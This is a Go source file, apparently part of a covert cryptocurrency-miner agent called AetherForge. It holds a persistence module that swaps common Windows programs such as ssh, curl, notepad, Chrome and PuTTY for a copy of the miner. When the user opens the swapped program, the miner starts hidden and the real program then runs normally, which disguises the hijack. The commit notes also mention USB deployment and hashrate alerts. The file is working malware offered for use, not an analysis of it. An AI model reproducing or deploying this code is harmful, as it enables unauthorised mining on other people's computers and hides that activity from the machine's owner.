- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
292 lines
7.7 KiB
Go
292 lines
7.7 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const (
|
|
hostBinaryProxySuffix = ".aetherforge.proxy"
|
|
hostBinaryBackupSuffix = ".aetherforge.bak"
|
|
hostBinaryManifest = "host-binary-hijacks.json"
|
|
)
|
|
|
|
type hostBinaryRecord struct {
|
|
Target string `json:"target"`
|
|
Backup string `json:"backup"`
|
|
Preset string `json:"preset"`
|
|
}
|
|
|
|
// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
|
|
var HostBinaryPresets = []string{
|
|
"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
|
|
"chrome", "edge", "firefox", "putty", "winscp",
|
|
}
|
|
|
|
// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
|
|
func HostBinaryCandidates(preset string) []string {
|
|
preset = strings.TrimSpace(strings.ToLower(preset))
|
|
if strings.HasPrefix(preset, "custom:") {
|
|
p := strings.TrimSpace(preset[7:])
|
|
if p != "" {
|
|
return []string{filepath.Clean(p)}
|
|
}
|
|
return nil
|
|
}
|
|
pf := os.Getenv("ProgramFiles")
|
|
pfx86 := os.Getenv("ProgramFiles(x86)")
|
|
switch preset {
|
|
case "ssh":
|
|
return existingPaths(
|
|
`C:\Windows\System32\OpenSSH\ssh.exe`,
|
|
filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
|
|
)
|
|
case "ftp":
|
|
return existingPaths(`C:\Windows\System32\ftp.exe`)
|
|
case "telnet":
|
|
return existingPaths(`C:\Windows\System32\telnet.exe`)
|
|
case "mstsc":
|
|
return existingPaths(`C:\Windows\System32\mstsc.exe`)
|
|
case "curl":
|
|
return existingPaths(`C:\Windows\System32\curl.exe`)
|
|
case "notepad":
|
|
return existingPaths(
|
|
`C:\Windows\System32\notepad.exe`,
|
|
`C:\Windows\Notepad\notepad.exe`,
|
|
)
|
|
case "calc":
|
|
return existingPaths(
|
|
`C:\Windows\System32\calc.exe`,
|
|
`C:\Windows\System32\win32calc.exe`,
|
|
)
|
|
case "chrome":
|
|
return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
|
|
case "edge":
|
|
return existingPaths(
|
|
filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
|
|
filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
|
|
)
|
|
case "firefox":
|
|
return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
|
|
case "putty":
|
|
return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
|
|
case "winscp":
|
|
return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
|
|
default:
|
|
if preset != "" && strings.Contains(preset, `\`) {
|
|
return existingPaths(preset)
|
|
}
|
|
return nil
|
|
}
|
|
}
|
|
|
|
func existingPaths(paths ...string) []string {
|
|
var out []string
|
|
for _, p := range paths {
|
|
if p == "" {
|
|
continue
|
|
}
|
|
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
|
out = append(out, filepath.Clean(p))
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func hostBinaryMarkerPath(targetExe string) string {
|
|
return targetExe + hostBinaryProxySuffix
|
|
}
|
|
|
|
func hostBinaryBackupPath(targetExe string) string {
|
|
return targetExe + hostBinaryBackupSuffix
|
|
}
|
|
|
|
func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
|
|
data, err := os.ReadFile(markerPath)
|
|
if err != nil {
|
|
return "", "", false
|
|
}
|
|
lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
|
|
if len(lines) < 2 {
|
|
return "", "", false
|
|
}
|
|
backup = strings.TrimSpace(lines[0])
|
|
miner = strings.TrimSpace(lines[1])
|
|
if backup == "" || miner == "" {
|
|
return "", "", false
|
|
}
|
|
return backup, miner, true
|
|
}
|
|
|
|
// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
|
|
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
return "", "", false
|
|
}
|
|
exe, _ = filepath.Abs(exe)
|
|
marker := hostBinaryMarkerPath(exe)
|
|
if b, m, found := readHostBinaryMarker(marker); found {
|
|
return b, m, true
|
|
}
|
|
_ = args
|
|
return "", "", false
|
|
}
|
|
|
|
// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
|
|
func RunHostBinaryProxy(backup, miner string, args []string) {
|
|
if miner != "" {
|
|
_ = HiddenStart(miner, runFlag)
|
|
}
|
|
if backup == "" {
|
|
os.Exit(1)
|
|
}
|
|
cmd := exec.Command(backup, args...)
|
|
cmd.Stdin = os.Stdin
|
|
cmd.Stdout = os.Stdout
|
|
cmd.Stderr = os.Stderr
|
|
if err := cmd.Run(); err != nil {
|
|
if exitErr, ok := err.(*exec.ExitError); ok {
|
|
os.Exit(exitErr.ExitCode())
|
|
}
|
|
os.Exit(1)
|
|
}
|
|
}
|
|
|
|
func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
|
|
dir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return filepath.Join(dir, hostBinaryManifest), nil
|
|
}
|
|
|
|
func loadHostBinaryManifest(path string) []hostBinaryRecord {
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var recs []hostBinaryRecord
|
|
_ = json.Unmarshal(data, &recs)
|
|
return recs
|
|
}
|
|
|
|
func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
|
|
data, err := json.MarshalIndent(recs, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(path, data, 0644)
|
|
}
|
|
|
|
func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
|
|
path, err := hijackManifestPath(cfg)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
recs := loadHostBinaryManifest(path)
|
|
for _, r := range recs {
|
|
if strings.EqualFold(r.Target, rec.Target) {
|
|
return nil
|
|
}
|
|
}
|
|
recs = append(recs, rec)
|
|
return saveHostBinaryManifest(path, recs)
|
|
}
|
|
|
|
func hijackSingleHostBinary(target, minerPath, preset string) error {
|
|
target = filepath.Clean(target)
|
|
if _, err := os.Stat(target); err != nil {
|
|
return fmt.Errorf("target not found: %s", target)
|
|
}
|
|
marker := hostBinaryMarkerPath(target)
|
|
if _, err := os.Stat(marker); err == nil {
|
|
return nil
|
|
}
|
|
backup := hostBinaryBackupPath(target)
|
|
if _, err := os.Stat(backup); err != nil {
|
|
if err := os.Rename(target, backup); err != nil {
|
|
if err := copyFile(target, backup); err != nil {
|
|
return fmt.Errorf("backup %s: %w", target, err)
|
|
}
|
|
_ = os.Remove(target)
|
|
}
|
|
}
|
|
if err := copyFile(minerPath, target); err != nil {
|
|
return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
|
|
}
|
|
body := backup + "\n" + minerPath + "\n"
|
|
if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
|
|
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
|
|
candidates := HostBinaryCandidates(preset)
|
|
if len(candidates) == 0 {
|
|
return "", fmt.Errorf("no host binary found for preset %q", preset)
|
|
}
|
|
var lastErr error
|
|
for _, target := range candidates {
|
|
if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
|
|
lastErr = err
|
|
continue
|
|
}
|
|
_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
|
|
Target: target,
|
|
Backup: hostBinaryBackupPath(target),
|
|
Preset: preset,
|
|
})
|
|
return target, nil
|
|
}
|
|
if lastErr != nil {
|
|
return "", lastErr
|
|
}
|
|
return "", fmt.Errorf("hijack failed for %q", preset)
|
|
}
|
|
|
|
// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
|
|
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
|
|
if strings.TrimSpace(preset) == "" {
|
|
return fmt.Errorf("host_binary_target is required")
|
|
}
|
|
_, err := HijackHostBinary(cfg, minerPath, preset)
|
|
return err
|
|
}
|
|
|
|
// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
|
|
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
|
|
path, err := hijackManifestPath(cfg)
|
|
if err != nil {
|
|
return
|
|
}
|
|
recs := loadHostBinaryManifest(path)
|
|
for _, rec := range recs {
|
|
restoreHostBinaryTarget(rec.Target, rec.Backup)
|
|
}
|
|
_ = os.Remove(path)
|
|
}
|
|
|
|
func restoreHostBinaryTarget(target, backup string) {
|
|
marker := hostBinaryMarkerPath(target)
|
|
if backup == "" {
|
|
backup = hostBinaryBackupPath(target)
|
|
}
|
|
if _, err := os.Stat(backup); err == nil {
|
|
_ = os.Remove(target)
|
|
_ = copyFile(backup, target)
|
|
_ = os.Remove(backup)
|
|
}
|
|
_ = os.Remove(marker)
|
|
}
|